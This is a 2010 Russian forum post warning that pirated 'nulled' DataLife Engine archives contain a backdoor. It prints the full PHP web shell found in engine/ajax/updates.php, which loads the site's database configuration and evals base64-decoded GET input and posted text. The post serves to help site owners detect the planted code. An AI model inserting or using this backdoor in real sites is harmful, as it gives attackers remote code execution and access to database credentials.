Если Вы скачали NULL, задумайтесь!

inokentik · 10 февраля 2010

Вот инфа к размышлению, что скачав NULL Вы можете потом за это очень поплатиться своими стараниями и потерять их на всегда... Нашел на одном из сайтов...

********************************************************************************************

Очень часто владельцы сайтов о dle перезаливают архивы с релизами dle со своими файлами. Любой пользователь может оказаться жертвой действий таких админов.

Если вы скачали архив не с этого сайта, проверьте файл engine/ajax/updates.php

Пример найденного шелла

Если там такое содержание:

if($_GET['wert']==''){ 

require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng'; 

$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset']; 

@header("HTTP/1.0 200 OK"); 

@header("HTTP/1.1 200 OK"); 

@header("Cache-Control: no-cache, must-revalidate, max-age=0"); 

@header("Expires: 0"); 

@header("Pragma: no-cache"); 

@header("Content-type: text/css; charset=".$config['charset']); 

$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']); 

if (!strlen($data)) echo $lang['no_update']; else echo $data; 

}else{ 

$file=(ROOT_DIR."/engine/classes/mysql.class.php"); 

if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";} 

$file=(ROOT_DIR."/engine/data/dbconfig.php"); 

if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";} 

$file=(ROOT_DIR."/engine/data/config.php"); 

if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";} 

eval(base64_decode($_GET['user_id'])); 

echo <<<HTML 

<HTML><body><form action="" method="post"> 

<center><textarea name="text" rows="10" cols="100"></textarea> 

<br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML> 

HTML; 

if($_POST['text']!=''){eval(stripcslashes($_POST['text'])); 

}}

То "кто-то для Вас постарался" не безвозмездно

********************************************************************************************

А, а, а, и мозоли на руках... Покупайте оригинал!

Изменено 10 февраля 2010 пользователем inokentik

Войти

Если Вы скачали NULL, задумайтесь!

Рекомендованные сообщения

inokentik 45

Ссылка на сообщение

Поделиться на других сайтах

Присоединяйтесь к обсуждению

Форум

Активность